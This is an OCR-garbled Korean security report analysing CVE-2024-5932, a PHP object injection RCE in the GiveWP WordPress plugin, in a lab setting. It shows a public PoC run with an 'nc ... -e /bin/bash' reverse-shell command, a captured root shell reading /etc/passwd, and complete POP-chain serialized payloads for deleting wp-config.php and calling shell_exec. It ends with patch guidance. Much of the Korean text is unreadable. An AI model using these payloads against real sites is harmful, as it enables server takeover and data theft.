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m HAE 2F #d ZE

HAE 338 &8 CVE-2024-5932 ¢ & 148 4w}
o2 HE
WordPress 6.3.2
| o X} GiveWP plugin 3.14.1
(192.168.102.74)

Kali Linux
(192.168.216.131)

msfizt PC o] WordPress & A2|ett}. o] % s Y=g~ wo]x]ofl CVE-2024-5932 F{eF3]o]
ZAsHe 3.14.1 |1 WA GiveWP Z2]191 4

GiveWP Z271%19] 79, /wp—content/plugins/give/languages/give.pot A=l Z2]1Q HH7}
714 o] A& o] Sl

O A 192.168.102.74/wp-con

KaliLinux #8 KaliTools = KaliDocs & Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking

ewp
1buted under the same license as the Give - Donation Plugin plugin.

a3 3. A GiveWP 219 FR Fl
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Step 2. FIH HAE

PoC A3 A Fofet WA GiveWP Z7|I%1o=z 24t 717 Ho]A] F4E el

O A& 1192.168.102.74/2024/09/03

locs M Kali Forums ex Kali NetHunter Exploit-DB Google Hacking DB OffSec
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39 4. FF GiveWP 2222 ZYHE 7|7 Holx] &<l

CVE-2024-5932 4 HIAEE 91§ PoC 7} A%H EQST Lab <] GitHub Repository URL -
oh2at 2t
« URL: https://github.com/EQSTLab/CVE-2024-5932

FAZ PC oA git clone HH & AFgoto] CVE-2024-5932 49 PoC & th=z =g},
Cclone https: Fhub . com/EQSTLab,
oning into 'CVE-2
ote: Enumerating
mote: Counting o
ote: Compressing objects: i
ote: Total 16 el 7), reused 5 ) a eused @ (from @)
eiving objects: 10
olving deltas: 1

g objects: 16, done.
bijects: 18 '
:
d

9 5. CVE-2024-5932 PoC TI2ZE
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F3h, EQSTLab o] 2jZAEZe] A3 HIote] PoC & ThREEE W & Qlrh. EQSTLab
FEZAEG A CVE-2024-5932 PoC o= t}ofst AtnE &elgh 4= Qi
« URL: https://github.com/EQSTLab/CVE-2024-5932
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Solutions ~ Resources ¥ Open Source ¥ Enterprise ¥  Pricing Q | Sign in ‘ Sign up |

0 Overview [ Repositories 13 [ Projects & Packages 1 Stars 4

Xopular repositories

CVE-2024-5932 Public git_rce Public

Public Race_Condition Public

EQSTLab

hook Public CVE-2024-23997 Public

Follow

Experts, Qualified Security Team Shell

A5 followers - 0 following

EQSTLab g|ZAEZ7} otd T E ZEAEL | HT § t2Zs & H$ol= CVE-2024-
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the2E 9k poC T2 CVE-2024-5932.py @t CVE-2024-5932-rce.py & APt 4= glom,
547 PC ol 5 so]2 =71 mlsizte] GiveWP 211104 HgHt,
| $ python3 CVE-2024-5932-rce.py -u [GiveWP 7|5 HO|X|] - [Z O] |

ZAZ PC 2] Reverse Shell 2 AZA3dH= PoC A AW = ooyt Z,

$ python3 CVE-2024-5932-rcepy -u http://192.168.102.74/2024/09/03/cve-2024-5932/ -c “nc
192.168.216.131 7777 —e /bin/bash”

ST PoC A3 AWMEES offiet o] 47 PColA it

~/CVE-2024-5932
CVE-2024- 5932 rce.p:.r -u http://192.168.102.74/2024/09/03/cve-2824-5932/ -

$16.131 7777 -e fbin/bas

13 8.PoC A AWE oA]
o]% w3z} PC 7} FAA}F PC 9] Reverse Shell 2 o] ® A& sHold 4= It} gl A4d A4
Azetd ooz PC o] QAR 23] AA| 7p5oic),
fhome/kali

listening on
192.168.216.1: Jer host lookup failed: Unknown host
connect ta [1'13IJ 68.32 31] from (UNKNOWN) [192.168.216.1] 64732

cat

root: oot.froot:fbinfbash
daemon 1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin in:/bin:/usr/sbin/nologin
SY510 :sys:/dev:/usr/sbin/nologin
19 9. Reverse Shell 42 &el
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Step 1. oK A=At #4324 AH BA
CVE-2024-5932 & olafal7] 1584 A% WordPress 7153 AHAF Q2 ghe Aelshe WA
g olsirt Baste

1) WordPress Hooks 7|52 Entry Point &4

WordPress o= ZEQ] &2 H49F Hore T3 st Hooks 7152 A sttt Hooks = Actions 2+
Filters & 7FA] §3do] 94|, o] = Actions 75L& EA 0|29 Action ©| A3PE uw AA=
EX & AYgsh= 7152 AT wp—content/plugins/give/includes/ol $1*]gF process—
donation.php FE9] ¢ ©2¥ Zo| Action &= add_action & Tl EH T4t

AAFIY},

Ub

otg] & Action &(wp_ajax_give_process_donation, wp_ajax_nopriv_give_process_donation)-=
Sr4=(give_process_donation_form)t AZ2H A& 2RI &4 St

add_action( '
add action(

add_action( '

39 10. process—donation.php W add_action &&

HA Z9] add_action('wp_action_nopriv_give_process_donation’, ‘give_process_donation_form’)
AZER] e A&7} give_process_donation ©]gh=  Action & /wp—admin/admin-
ajax.php & Fot] AP of give_process_donation_form & SEoHItt= 22 3ttt o=

wp—admin W 9JA]3t admin-ajax.php & Fs &AL 4 9low o s e
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$action = $ REQUEST[
( is_user logged in

! has_action
wp_die( ° 400

do_action
{
! has_action

wp die( ‘@', 400

do_action

3% 11. admin—ajax.php Y Action &

@QHTTP REC 2R H action LIZt0|EHE 2O} $action B0 XN ESHCL.

@is_user_logged_in &+& S 2¥S 2 ALEA7E 210 FUX =l

ot

A
@229 F0|2tH wp_ajax_0fl $action @t=2 20 oiZ 0|59 Actiong ZTETICL

@219l &0| ofL|2tM wp_ajax_nopriv_0il $action @t=2 =20 sl 0|52 Action = =ETHCE.

9 EAS 1HPLS o, action TEHu]E O] give_process_donation = ol QFSIH =9I
Lol Aragl o] wp—content/plugins/give/includes/process—donation.php e 1

give_process_donation_form &7} T&H}.

EQST insight | 8



2) Foket A3t Ay 2
? give_process_donation_form &= ofgfjet o] give_donation_form_validate_fields &5
ol HTTP 8% mefn]el7 &

give process_donation form() {

S
X
oY
>
S
i)

$post data = give clean{ $ POST );

! give verify donation_form _nonce( $post dataf[ 't
$is_ajax

do_action(
give die();

give send back to checkout();

do_action(

$valid data = give donation form_validate fiel

I9 12. 2oy R84 25 @

give_donation_form_validate_fields &4 Wofl= HTTP 273 zmtetulg o 2 E3std dlo]g 7t

EAot=A] AAFSHE give_donation_form_has_serialized_fields &7} $1#]all Q1.

n give donation_form validate fields() {

$post_data = give_clean{ $_POST );

! empty( $post_data[
give set _error

f (give donation_form | lized fields($post data))
give set error(’'inva serialize ields", esc_html

73 13, AEshE doldl 4 4% A4 g5
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2dste  dlolgy  EA BE  HAFH=  give_donation_form_has_serialized_fields &=
$post_data_keys o SFoh shetalESE At

n give donation form_has serialized fields({array $post data): bool

$post_data

($post_data as $key => $value) {
! in_array($key, $post_data_keys, true

is_serialized($value)

2,

% 14. give_donation_form_validate_fields &<~

give_get_donation_form_user oA give_title TEtEE  ArEsStEdl ol ZESt AS
ol A AASHA] b=

ion give get donation_form user( $valid data

f ( empty( $user 1 || strlen{ trim{ % 13 )<1){

$user| v ' empty( $post _data['s rip tags( trim( $post data[’

a9 15. user_title ohetale] A#F

S =2 o]%of give_title BEU|E 2 DB of] AHH. o= give_title mEtm]E o] “EQSTtest”
AH ZF 93 ©]F, wp—content/plugins/give/src/Donors/Repositories/DonorRepository.php F=
ol A ofefjet Zo] DBl _give_donor_title_prefix 7]19] gto= Aoz Sl 4= Qlrt.
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Output

a3 16. give_title Y42 3= DB o A%

o]% A= _give_donor_title_prefix 7]2] 4t wp—content/plugins/give/includes/payments/class—
give-payment.php A£AFE Yo FTHH Give_Payment S2LO|A get_meta FTE Tl
S &

o] W E2|E= get_meta @
maybe_unserialize 7 Qlo] 2EstE b AAE AY gor Yo AHrb o] ¢F

P9g =5 BE 5 9ok,

FrE WpHos Eeel Mol ARD e s
O
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I9 18. DB 27 eE I F TEste 9489 &+

e Hil= I el stripslashes_deep @7 WE AAdSI=H WWWW=2 3] 7Fsolth
et I W strip_tags ¥ AR 93] WS AFE 2 null € AlASH:E 2AHE W0 2

T
93] 7F5FS g,

$price,
$purchase key,
fuser
date
stripslashes deep( $user_info ),
$post data,

¥-m-d H:i:s5", current time{ 'ti

$valid data
=» $valid data

£ ( empty u itle || strlen( trim{ $user
$user[ 'user_titl =1 give_title 2 |strip_tags( trim( $post_data[ "give
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Step 2. PHP Object Injection 12|31 POP Chain

243} ol E Este] ol AAHEI}E 5 U2 flolA =l o] wf PHP Object
Injection FZo] 7}sstH, o] &8st7] YoiA= PHP Object Injection 32 e} POP
Chain ]| gt o]sf7} € as}rt.

1) PHP Object Injection
PHP Objection Injection F9FHd-2 PHP Serialization FeFdolztaie Bt o] AR8AFY] 9™

-1 a
= unserialize @Foll AAR HEHH glo] MES 4 & o FAst= FeFH oItk unserialize
@7t dREsY W, qaus gyl Fds 4TS el FEE PHP Y dAcE
&3ty PHP wj4] #iA== PHP 9 7]& 42 ABYcts = A& Ee 549 HAE.
ASFOIA 8 4 Ak PHP o2 WASe 1 AT ol 2o,
o= HIME g
__construct A dH Al =E
_ wakeup AXEH3} 0|2 =&
__destruct A ota| Al ZE
_call HZ 27t g "2 A =8
_set HZ 27 44 #e 488 I =%
_get HZ 27 44 #e g I =%
__toString HHIL EXER NelE i ==
Wk, o2 WSS PHP Objection Injection & 5o 221 715 £4:3he Q42 54 942
Afst= A9, oid Qg de WIS A7t ofAQl P9E stes’ f=d 4 Utk o=
71-_0_

TempFile 271 otal 7Hg 5] E A}
cla?s)TempFlle {

Bublic function __destruct() {

L]fnlink($this—>file); #2 unlink( ‘/temp/test’)
()
¥
TempFile 2~ Woll= file ol2b= £/4d0] Sl=dl, HxH file £4 3t AHE7F Sl 2Es)
delBE ot 22 ZEx B4 5 Sl

class TempFile {
public $file;
public function __construct() {
$this—>file = "/tmp/test’;  #1 Set Tempfile's property value
}
}

$a = new TempFileO;
echo serialize($a);

¥ %4 (property): 24 oA JoH WA, Aol FehE el o8 E Folskt] A8
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> php serialize.php
0O:8:"TempFile":1:{s:4:"file";s:9:"/tmp/test";}

g APst dolHES AU, file SAGOR ALE “Vemp/rest” U] AAHLE. o

A2 F3} Al TempFile S#22] _ destruct W% HIAEZ} file &/d%el iFot= TS AHAlsH ]

Oriented Programming) * ¢t FAFSHA PHP F&E XZHES
oL 3aclel, flobq AR ol WA 7 AEEel Heh AE Bol, 3 Be W
TempFile, Process & ZeA7F 9= o,

class TempFile {
(..)

public function __destruct() { #3 Magic method : call $this->shutdown()
$this -> shutdown();

public function shutdown() { #4 $this->handle->close = new Process()->close();
$this->handle->close();

—~—

}

class Process {

Bublic function close () {
system(‘kill €.$this->pid); #5 $pid = ;touch eqgst’;

b
)

}

2~

HP Object Injection FeFFo] TASHH TempFile ¥ Process 24 & o 11 2= A%
A& & 4 AT POP Chain 7|¥2 &84 o3 22 Ftz 9% 23} HolgHE
A 2Es}st Al “touch css” HHS AP 5 Ut
class TempFile {

public $handle;

public function _ construct() {
$this -> handle = new Process(); #1 Set Tempfile's property value
}

2 ol

}

class Process {
public $pid;
public function _ construct() {
$this -> pid = “; touch css”; #2 Set Process's property value
}

}

$a = new TempFile();
echo serialize($a);

* ROP (Return-Oriented Programming): A% E7MsgF Ra|e} FE Ato]d -2 Het HrolE 231517] A3 “7F(Gadget)”olatr
B 7AES ddst Aol e S st 34 VW
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9 TEE AWE Avhe e 2L AYs) golHz

> php serialize.php

0:8:"TempFile™:1:{s:6:"handle";O:7:"Process":1:{s:3:"pid";s:11:"; touch css";}

o]= Process 29| close() MAME7} TempFile 220 _ destruct #i#] A ==7E POP

Chain 7192 58 Ho] 7387 wEo] AT,
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Step 3. 4 75 AlUEL

PHP Object Injection @} POP Chain 7|¥-& &-85to] GiveWP ©of 524 7} Al et 4o
ot AbA|, o] e Adgo] it

D 27 474 od AAZ QIR FH oA &
GiveWP o= pdf #4 AL dH= TCPDF 2H= @Z4~ PHP golEzig7l Ut wp-
content/plugins/give/vendor/tecnickcom/tcpdf/  A=ZoA I 4 glow, dd HZ U
S
T

tcpdf.php AAFES &9l5tH TCPDF 2~ AAFEE 8RQISH At A AT EfA

golgt 4= Q= destruct "jZ] HAE AAFEE oS ot

__destruct()

iz-> destroy

19 21. TCPDF 234 W _ destruct & A=

5 ZA Y _destory HINES T&HH, _destroy HAEQ teFAel F=2 Felshd o33}
2t
TCPDF {
_destroy($destroyall=f > $preserve_objcopy=
‘pdcutr‘oxall AND !$preserve objcopy && isset($this->file id)
:$cleaned_ids[$t >fFile_id] =

;

($handle = @opendir(K_PATH_CACHE)) {
!== ( $file name = readdir( $handle )
strpos($file_name,
unlink(K_PATH_CACHE. $f119 name) ;

closedir($handle);

(isset($this->imagekeys)) { @
->imagekeys as $file
strpos($file, K PATH CACHE) === © && TCPDF STATIC::file exists($file)
@unlink($file);

1% 22. TCPDF 284 W _destroy HIAE
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@ $destroyall 2£O| true 0|11 $preserve_objcopy €LO| false O| &4 $file_id 240l U=X| HAFSHLE

@ &°d $imagekeys HiEO| EX|St= TS St X|R2LCt

$destroyall &2 _ destruct W& A=A Q&R true Fol FEEHA O™, $preserve_objcopy
T2 71RO false 7F AAEER, &4 $file_id 9 $imagekeys dh= HAFt AAE A HI} oA
ALstH AH= $imagekeys B2 [AEH mrdo] AAE Akttt o] wf, Stepl oA ATt
Hie} Zo] NULL Hfo|E= W0 o2 283t F Aok ghrt. “wp-config.php” ©4-& AAsh=

243} dlo]H payload & tht 2t}

class TCPDF {
protected $imagekeys = array();
protected $file_id; # When using protected properties, replace "null" with "\@"
public function _ construct(){
$this->file_id = md5('123");
$this->imagekeys = ['/tmp/test'];

}
}

$a = new \TCPDF();
echo serialize(%$a);

> php serialize.php

O:5:"TCPDF":2:{s:12:"*imagekeys";a:1:{i:0;s:27:" /var/www/html/wp-
config.php";}s:10:"*file_id";s:32:"101ac776f8a731a1285672ff7b071d03";}

AZIA AR o HE3t dlolH& Stepl oA A HRel Zo] NULL HPO|E= W0 o2
285kl backslash(W)+= backslash 4 7H(WWWW) 2 ]2+ F ZA<EsfjoF gict.

> php final_serialize.php

O:5:"TCPDF":2:{s:12:"#0*W0imagekeys";a:1:{i:0;s:27:"/var/www/html/wp-
config.php";}s:10:"W0*#0file_id";s:32:"101ac776f8a731a1285672ff7b071d03";}
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39 23. wp—config.php =& 4}A4] &3
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2) POP Chain & ©]-83 ¥ ¥ A3

Step2 o4 A3t POP Chain 7S &8st Ao g 4 Fsottt. Wordfence ©fl Al
TN AR w2 ofgfle] POP Chain 2 Eaf 9 Hd Addo] 7bsdd, 1 Azrde
StripeWStripeObject 22142 _ toString 2] HA o]

>
o
A
e
N

instance of:

__toString magic method Stripe\Stripeobject '

toArray method

$_values[’foo’] instance of:

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData ‘ 1

toArray method getLegacyBillingAddress method

SuserInfo[’address’] instance of: ¢

Give

addressl property

__get magic method

§container jnstance of:

\Give\Vendors\Faker\ValidGenerator ' Sy
get method

__call magic method

$validator property is ‘shell_exec’ string ~

invoke the shell_exec() function:

call_user_func($this->validator, $res)

E4 www.wordfence.com

a9 24, 97 99 AP ¢ POP Chain 74
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[e)

e
olr

fo

Stepl oA drg2t
HAEZE A& = ALl o] AA =

BT, et 7

o
f
for
i
i
i)
4

SHAl =¥, __toString wiZ]
= g3}t dHeoldHE

namespace Stripe{
class StripeObject

protected $_values;
public function __construct(){
] = new

$this->_values['foo'
\Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();

}

}

namespace Give\PaymentGateways\DataTransferObjects{
class GivelInsertPaymentData{

public $userInfo;
public function __construct()

$this->userInfo[ 'address'] = new \Give();

}
}
}
namespace{
class Give{
protected $container;
public function __construct()
$this->container = new \Give\Vendors\Faker\ValidGenerator();
}
}

namespace Give\Vendors\Faker{
class ValidGenerator{
protected $maxRetries;

protected $validator;
public function __construct()

$this->maxRetries = 10;
$this->validator = "shell exec";

}

namespace{
$a = new Stripe\StripeObject();
echo serialize($a);

> php serialize.php
0:19:"StripeWStripeObject™:1:{s:10:"*_values";a:1:{s:3:"fo0";0:62:"GivettPaymentGateways¥DataTransferOb

jectsWGivelnsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";0:4:"Give":1:{s:12:"*container";0:33:"Give

WVendors#Faker#ValidGenerator":2:{s:13:"*maxRetries";i:10;s:12:"*validator";s:10:"shell_exec";}}}}}}
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1% 25. ValidGenerator 232 W _ call W3] A=

@ call_user_func_array &5 &9l ValidGenerator 222 W %54 $generator 210 HHE A2 $name
HMEY Q=2 $arguments TEH ZE T $res O Bt=tgfS KETICH

@ 2944 34 g3 o2t0jEHE Qs $validator B0 MEE L2l “shell_exec” 2t $res & call_user_func

9 TgRro Rt 9o By AWL T 4 Yok $res of sk ghol Wasolof | FY
$name ©f “get”, $argument o “address1’o] LAHAH SR Fo]7}7]
get(“address1”) WA & o $&8 4 gl ZeAwt WUt 7Hs51)

Mo o
2 o

2o
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webA $generator gloll Wste FHAE F7t=E AASHoF bt get(“addressl”) HIAE ©& Al
Hok= de wiEd 5 A wtEs SdAe AA AAFEE FAE AR wp-
content/plugins/give/src/Onboarding W SettingsRepository.php o4 2 4= Ql3dh sig
S 29| get HINES FQlsHH tha} gt

get($name)

s->has ($name)
his-»settings|%name

Ly

% 26. SettingsRepository ;A W get HIAE

£ settings o U= T2 Pname 7l siFshE ghol AHH ST g RMEeE @t
webA, Q= 2 addressl 7] gtoll sidote= 44 W@ olE Wil SettingsRepository 22| 249]
&4 settings HIGE AAstH o] W Aso] slssith ofd FES 715 of4d A Hs)
Holg & AAsH= PHP 7= thgu) Zoh
namespace Stripe{

class StripeObject
{

[e3

s

protected $_values;
public function __construct(){
$this->_values['foo'] = new
\Give\PagmentGateways\DataTransferObjects\GiveInsertPaymentData();

¥
}

namespace Give\PaymentGateways\DataTransferObjects{
class GivelInsertPaymentData{
public $userInfo;
public function __construct()

$this->userInfo['address'] = new \Give();

}

namespace {
class Give{
protected $container;
public function __construct()

$this->container = new \Give\Vendors\Faker\ValidGenerator();

}

namespace Give\Vendors\Faker{
class ValidGenerator{
protected $maxRetries;
protected $validator;
protected $generator;
public function __construct()

$this->maxRetries = 10;
$this->validator = "shell exec";
$this->generator = new \Give\Onboarding\SettingsRepository();

}

namespace Give\Onboarding{
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class SettingsRepository{
protected $settings;
public function __construct()

$this -> settings['addressl'] = 'touch /tmp/EQSTtest';
}
}
}

namespace {
$a = new Stripe\StripeObject();
echo serialize($a);

> php serialize.php
0:19:"StripeWStripeObject™:1:{s:10:"*_values";a:1:{s:3:"fo0";0:62:"GivettPaymentGateways¥DataTransferOb

jectsWGivelnsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";0:4:"Give":1:{s:12:"*container";0:33:"Give
WVendorsiFakerWValidGenerator":3:{s:13:"*maxRetries";i:10;s:12:"*validator";s:10:"shell_exec";s:12:"*gener
ator";0:34:"GiveWOnboardingWSettingsRepository™:1:{s:11:"*settings";a:1:{s:8:"address1";5:19:"touch
/tmp/EQSTtest"; 11}
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> php final.php

0:19:"StripeWW#WStripeObject™: 1:{s:10:"#W0*W0_values";a:1:{s:3:"fo0";0:62:" Give W PaymentGateways
WA DataTransferObjects#iWitGivelnsertPaymentData": 1:{s:8:"userInfo";a:1:{s:7:"address";0:4:"Give":1:{

s:12:"W0*W0container";0:33:"GiveWW#VendorsWWwwWrakertttwiwValidGenerator":3:{s:12:"W0*#Ovalidat
or";s:10:"shell_exec";s:12:"W0*W0generator";0:34:"GiveWWWWOnboarding W SettingsRepository":1:{s:1
1:"WO*#0settings";a:1:{s:8:"address1";5:19:"touch%20/tmp/EQSTtest";}}s:13:"WO0*#WO0maxRetries";i:10;}}}}}}
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« URL: https://downloads.wordpress.org/plugin/give.3.14.2.zip

2] o]F WA wHo] Q= AAFEE H|WSHH, FeFgo] IAYH process—donation.php ]
give_donation_form_has_serialized_fields WA EoA tr23 o] HEF metuHE 715 A

T 5 At

3%12 function give_donation_form_has_serialized_fields(array $post_data): baoaol
423 fpost _data_kevs = [

424 ‘give—form—id’,

475 ‘give-gateway ',

426 ‘card_name’,

427 ‘card_number”,

428 ‘card_cve’,

429 ‘card_exp_month’,

430 ‘card_exp_vear’,

431 ‘card_address’,

432 ‘card_address_2°,

433 ‘card_city’,

434 ‘card_state’,

435 ‘billina_country’,

436 ‘card_zip’,

437 ‘give_email ",

438 ‘give_first’,

439 ‘give_last’,

440 ‘give_user_login’,

441 ‘give_user_pass’

442 ‘give-form-title’,

443 ‘give_title’,

444 l:

445

445 foreach ($post_data as $key => $value) {
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Plugins (2)
g plugins ha s available. Check the ones you want o update and then click “Update Plugins
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« URL: https://wordpress.org/plugins/give/#developers
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3,142 B3 o]sh Flokst HAS] GiveWP Zel19l ALSA 91 249 vl met 5%

e

-

EQST insight | 26




m 27 AJO|E

« History of Bearsthemes and GiveWP : https://givewp.com/documentation/resources/history-of-
bearsthemes-and-givewp/

+ $4,998 Bounty Awarded and 100K WordPress Sites Protected Against Unauthenticated Remote Code
Execution Vulnerability Patched in GiveWP WordPress Plugin :
https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-
against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

» WordPress Developer Resources - Hooks : https://developer.wordpress.org/plugins/hooks/

» WordPress Developer Resources — add_action :
https://developerwordpress.org/reference/functions/add_action/

» PHP Object Injection : https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection

« PHP Documentation — Magic Methods : https://www.php.net/manual/en/language.oop5.magic.php

» Code Reuse Attacks in PHP — Automated POP Chain Generation : https://websec.wordpress.com/wp-
content/uploads/2010/11/rips_ccs.pdf

« x.com (nav1nOx) : https://x.com/nav1n0x/status/1828715567785636112
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